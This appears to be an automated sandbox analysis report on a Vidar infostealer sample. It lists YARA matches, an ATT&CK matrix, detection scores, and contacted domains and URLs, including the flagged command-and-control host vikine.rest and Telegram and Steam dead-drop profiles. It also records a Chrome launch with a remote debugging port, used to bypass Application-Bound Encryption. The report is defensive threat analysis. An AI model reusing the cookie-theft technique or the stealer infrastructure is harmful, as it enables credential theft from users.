Source: Bk.9.dr	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_11WIN_10WIN_2022WIN_2019WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\AppearanceUSERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYRegDeleteKeyExWadvapi32.dll+.-.\\[\\nrt]\|%%\|%[-+ 0#]?([0-9]\|\)?(\.[0-9]\|\.\)?[hlL]?[diouxXeEfgGs](*UCP)\XISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGGETCOUNTSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXPANDmsctls_statusbar321tooltips_class32%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----@GUI_DRAGID@GUI_DROPID@GUI_DRAGFILEError text not found (please report)Q\EDEFINEUTF16)UTF)UCP)NO_AUTO_POSSESS)NO_START_OPT)LIMIT_MATCH=LIMIT_RECURSION=CR)LF)CRLF)ANY)ANYCRLF)BSR_ANYCRLF)BSR_UNICODE)argument is not a compiled regular expressionargument not compiled in 16 bit modeinternal error: opcode not recognizedinternal error: missing capturing bracketfailed to get memory
Source: Rna.com	Binary or memory string: WIN_XPe
Source: Rna.com	Binary or memory string: WIN_VISTA
Source: Rna.com	Binary or memory string: WIN_7
Source: Rna.com	Binary or memory string: WIN_8

Source: Yara match	File source: 0000000D.00000002.2664591239.000000000103E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Rna.com PID: 8084, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"

Yara detected Vidar stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: 13.2.Rna.com.3f70000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000003.1855893939.0000000001052000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.1855727940.000000000113F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.1856531472.0000000001081000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.1856335407.00000000010EF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2666157249.0000000003F71000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.1855797272.00000000010EF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.1856395608.0000000001081000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.1855526842.0000000001082000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.1855595292.0000000003F74000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2664591239.000000000103E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.1855797272.00000000010BE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.1855662280.0000000001081000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.1856462728.00000000010EF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.1855893939.0000000001081000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Rna.com PID: 8084, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00D22263 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		13_2_00D22263
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00D21C61 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket,		13_2_00D21C61

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	4 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Native API	2 Valid Accounts	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	2 Obfuscated Files or Information	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	21 Input Capture	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	2 Valid Accounts	1 Software Packing	NTDS	26 System Information Discovery	Distributed Component Object Model	3 Clipboard Data	4 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	21 Access Token Manipulation	1 DLL Side-Loading	LSA Secrets	11 Query Registry	SSH	Keylogging	15 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	12 Process Injection	1 Extra Window Memory Injection	Cached Domain Credentials	121 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	1 Registry Run Keys / Startup Folder	121 Masquerading	DCSync	1 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	2 Valid Accounts	Proc Filesystem	4 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	1 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	21 Access Token Manipulation	Network Sniffing	1 System Owner/User Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	12 Process Injection	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
random.exe	58%	Virustotal		Browse
random.exe	47%	ReversingLabs	Win32.Dropper.Copy
random.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\ProgramData\g4opz\mycj5f	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\190244\Rna.com	0%	ReversingLabs

Source	Detection	Scanner	Label
https://vikine.rest/15;	100%	Avira URL Cloud	malware
https://vikine.rest	100%	Avira URL Cloud	malware
http://anglebug.com/3498e-data	0%	Avira URL Cloud	safe
https://docs.googl0	0%	Avira URL Cloud	safe
https://drive-daily-4.c	0%	Avira URL Cloud	safe
https://vikine.rest/stc	100%	Avira URL Cloud	malware
https://vikine.rest/-end-point:OG	100%	Avira URL Cloud	malware
https://vikine.resttL	0%	Avira URL Cloud	safe
https://drive-daily-5.corp.go	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
chrome.cloudflare-dns.com	162.159.61.3	true	false	high
plus.l.google.com	216.58.212.142	true	false	high
a416.dscd.akamai.net	2.22.242.11	true	false	high
t.me	149.154.167.99	true	false	high
a-0003.a-msedge.net	204.79.197.203	true	false	high
c-msn-pme.trafficmanager.net	13.74.129.1	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
ax-0001.ax-msedge.net	150.171.27.10	true	false	high
play.google.com	142.250.185.238	true	false	high
sb.scorecardresearch.com	18.244.18.32	true	false	high
www.google.com	172.217.16.132	true	false	high
e28578.d.akamaiedge.net	2.23.209.34	true	false	high
googlehosted.l.googleusercontent.com	172.217.18.1	true	false	high
vikine.rest	5.75.214.119	true	true	unknown
assets.msn.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high
pKGhIPUplSdqEpyFxAgXdkn.pKGhIPUplSdqEpyFxAgXdkn	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Reputation
https://steamcommunity.com/profiles/76561199824159981	false	high
https://ntp.msn.com/bundles/v1/edgeChromium/latest/SSR-extension.b70cb75853005ad9eaf6.js	false	high
https://assets.msn.com/bundles/v1/edgeChromium/latest/vendors.f30eb488fb3069c7561f.js	false	high
https://clients2.googleusercontent.com/crx/blobs/ASuc5ohfQPNzGo5SSihcSk6msC8CUKw5id-p0KCEkBKwK2LS4AjdrDP0wa1qjzCTaTWEfyM52ADmUAdPETYA5vgD87UPEj6gyG11hjsvMLHGmzQgJ9F5D8s8Lo0Lbai5BQYAxlKa5esPJXukyaicyq83JwZ0HIWqzrjN/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_86_1_0.crx	false	high
https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531	false	high
https://ntp.msn.com/edge/ntp?locale=en-GB&title=New+tab&enableForceCache=true	false	high
https://assets.msn.com/statics/icons/favicon_newtabpage.png	false	high
https://ntp.msn.com/bundles/v1/edgeChromium/latest/web-worker.8ed343c804e9069b52b4.js	false	high
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false	high
https://c.msn.com/c.gif?rnd=1738946651019&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=4f9a001c7a8549ff8192a87db7858da6&activityId=4f9a001c7a8549ff8192a87db7858da6&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=0A716777C9C14A3D9549FC8B68E2231A&MUID=16F3E7E4A92E6FCB3913F268A8A46EEA	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1738946654661&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://t.me/sok33tn	false	high
https://sb.scorecardresearch.com/b2?rn=1738946651020&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=16F3E7E4A92E6FCB3913F268A8A46EEA&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://clients3.google.com/cast/chromecast/home/wallpaper/image?rt=b	chrome.exe, 00000014.00000002.2057442058.000062540295C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ntp.msn.com/_default	QuotaManager.26.dr	false		high
http://anglebug.com/4633	chrome.exe, 00000014.00000003.1967741173.0000625402FD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1967709629.0000625402580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000002.2061150428.0000625402E0C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7382	chrome.exe, 00000014.00000003.1967741173.0000625402FD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1967709629.0000625402580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000002.2060951547.0000625402D7C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://vikine.rest	Rna.com, 0000000D.00000002.2664591239.000000000103E000.00000004.00000020.00020000.00000000.sdmp, Rna.com, 0000000D.00000002.2664591239.000000000117A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://vikine.rest/15;	Rna.com, 0000000D.00000002.2664591239.000000000117A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://anglebug.com/3498e-data	chrome.exe, 00000014.00000002.2061150428.0000625402E0C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://polymer.github.io/AUTHORS.txt	chrome.exe, 00000014.00000003.1975148309.000062540340C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1974550041.0000625403364000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1972586703.0000625403284000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1973229838.0000625403130000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1973087194.0000625403294000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1973210052.00006254032E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1974091902.0000625403158000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1973281183.00006254032B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1974430350.00006254025B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1974003710.0000625402BAC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000002.2054191462.00006254024F7000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1974032381.0000625402FD8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/	chrome.exe, 00000014.00000002.2054318251.0000625402510000.00000004.00000800.00020000.00000000.sdmp, manifest.json.26.dr	false		high
https://docs.google.com/presentation/ogl	chrome.exe, 00000014.00000002.2062812674.0000625403090000.00000004.00000800.00020000.00000000.sdmp	false		high
http://unisolated.invalid/	chrome.exe, 00000014.00000002.2058685272.0000625402B60000.00000004.00000800.00020000.00000000.sdmp	false		high
https://photos.google.com?referrer=CHROME_NTP	chrome.exe, 00000014.00000003.1975148309.000062540340C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1974550041.0000625403364000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1974430350.00006254025B4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive.google.com/?lfhs=2ation.Result	chrome.exe, 00000014.00000003.2000393380.0000625403A9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000002.2064634912.0000625403AA4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.2000442391.0000625403AA0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ogs.google.com/widget/callout?eom=1	chrome.exe, 00000014.00000003.1988324152.00006254034E4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/6929	chrome.exe, 00000014.00000003.1967741173.0000625402FD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1967709629.0000625402580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000002.2061150428.0000625402E0C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://clients3.google.com/cast/chromecast/home/wallpaper/collection-images?rt=bbT	chrome.exe, 00000014.00000002.2058747580.0000625402B7C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.googl0	chrome.exe, 00000014.00000002.2054318251.0000625402510000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://anglebug.com/7246	chrome.exe, 00000014.00000003.1967741173.0000625402FD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1967709629.0000625402580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000002.2061150428.0000625402E0C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7369	chrome.exe, 00000014.00000003.1967741173.0000625402FD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1967709629.0000625402580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000002.2057511511.0000625402998000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000002.2061150428.0000625402E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000002.2060951547.0000625402D7C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7489	chrome.exe, 00000014.00000003.1967741173.0000625402FD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1967709629.0000625402580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000002.2060951547.0000625402D7C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chromewebstore.google.com/https://chrome.google.com/webstore	msedge.exe, 00000018.00000002.2206271710.00007DEC0017C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive-daily-2.corp.google.com/	chrome.exe, 00000014.00000003.1963950149.00006254026B0000.00000004.00000800.00020000.00000000.sdmp, manifest.json.26.dr	false		high
http://polymer.github.io/PATENTS.txt	chrome.exe, 00000014.00000003.1975148309.000062540340C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1974550041.0000625403364000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1972586703.0000625403284000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1973229838.0000625403130000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1973087194.0000625403294000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1973210052.00006254032E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1974091902.0000625403158000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1973281183.00006254032B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1974430350.00006254025B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1974003710.0000625402BAC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000002.2054191462.00006254024F7000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1974032381.0000625402FD8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://t.me/sok33tna110mgzMozilla/5.0	Rna.com, 0000000D.00000003.1855893939.0000000001081000.00000004.00000020.00020000.00000000.sdmp	false		high
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.26.dr	false		high
http://www.autoitscript.com/autoit3/X	Rna.com, 0000000D.00000000.1466956204.0000000000D75000.00000002.00000001.01000000.00000008.sdmp, Rna.com.2.dr, Not.9.dr	false		high
https://issuetracker.google.com/161903006	chrome.exe, 00000014.00000003.1967709629.0000625402580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000002.2062430977.0000625402FF4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	Rna.com, 0000000D.00000002.2667912374.000000000540A000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000002.2061150428.0000625402E0C000.00000004.00000800.00020000.00000000.sdmp, v3w47q.13.dr	false		high
https://drive-daily-5.corp.google.com/	chrome.exe, 00000014.00000003.1963950149.00006254026B0000.00000004.00000800.00020000.00000000.sdmp, manifest.json.26.dr	false		high
https://docs.google.com/spreadsheets/u/0/create?usp=chrome_actions	chrome.exe, 00000014.00000002.2061531158.0000625402E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000002.2057442058.000062540295C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000002.2055536049.000062540270C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacy	chrome.exe, 00000014.00000002.2057682944.0000625402A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000002.2063554768.0000625403264000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000002.2055536049.000062540270C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/v1/issuetoken	msedge.exe, 00000018.00000003.2092707753.00007DEC00264000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2093085464.00007DEC0026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2092778734.00007DEC00268000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icob	chrome.exe, 00000014.00000002.2060951547.0000625402D7C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/4722	chrome.exe, 00000014.00000003.1967741173.0000625402FD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1967709629.0000625402580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000002.2061150428.0000625402E0C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/presentation/bT	chrome.exe, 00000014.00000002.2050398757.000062540221C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://m.google.com/devicemanagement/data/api	chrome.exe, 00000014.00000002.2053096137.00006254023C4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/reauth/v1beta/users/	msedge.exe, 00000018.00000003.2092707753.00007DEC00264000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2093085464.00007DEC0026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2092778734.00007DEC00268000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/presentation/u/0/create?usp=chrome_actions	chrome.exe, 00000014.00000002.2061531158.0000625402E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000002.2057442058.000062540295C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000002.2055536049.000062540270C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive-daily-4.c	chrome.exe, 00000014.00000002.2054318251.0000625402510000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://publickeyservice.pa.gcp.privacysandboxservices.com	chrome.exe, 00000014.00000003.1996954283.000062540380C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/RotateBoundCookies	msedge.exe, 00000018.00000003.2092707753.00007DEC00264000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2093085464.00007DEC0026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2092778734.00007DEC00268000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/document/dogl	chrome.exe, 00000014.00000002.2064520036.000062540397C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3502	chrome.exe, 00000014.00000003.1967741173.0000625402FD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1967709629.0000625402580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000002.2061150428.0000625402E0C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3623	chrome.exe, 00000014.00000003.1967709629.0000625402580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000002.2061816072.0000625402F2C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3625	chrome.exe, 00000014.00000003.1967709629.0000625402580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000002.2061816072.0000625402F2C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3624	chrome.exe, 00000014.00000003.1967709629.0000625402580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000002.2061816072.0000625402F2C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3862	chrome.exe, 00000014.00000002.2060951547.0000625402D7C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstoreLDDiscover	chrome.exe, 00000014.00000003.1966920804.0000625402E50000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1967539036.0000625402E40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1966796599.000062540253C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1978491136.0000625402E58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1975833932.0000625402FAC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1971920526.0000625402FAC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1974168251.0000625402E40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1966842650.0000625402E40000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/4836	chrome.exe, 00000014.00000002.2060951547.0000625402D7C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/issues/166475273	chrome.exe, 00000014.00000003.1967709629.0000625402580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000002.2061075589.0000625402DE0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.ico	chrome.exe, 00000014.00000002.2061075589.0000625402DE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1966655783.0000625402DE0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://vikine.rest/-end-point:OG	Rna.com, 0000000D.00000002.2664591239.000000000117A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://vikine.rest/stc	Rna.com, 0000000D.00000002.2664591239.000000000103E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://mail.google.com/mail/?usp=installed_webapprb	chrome.exe, 00000014.00000002.2060951547.0000625402D7C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3970	chrome.exe, 00000014.00000002.2060951547.0000625402D7C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://apis.google.com	chrome.exe, 00000014.00000003.1988324152.00006254034E4000.00000004.00000800.00020000.00000000.sdmp, chromecache_477.22.dr, chromecache_482.22.dr	false		high
https://support.mozilla.org/products/firefoxgro.all	Rna.com, 0000000D.00000002.2676469398.0000000006517000.00000004.00000800.00020000.00000000.sdmp	false		high
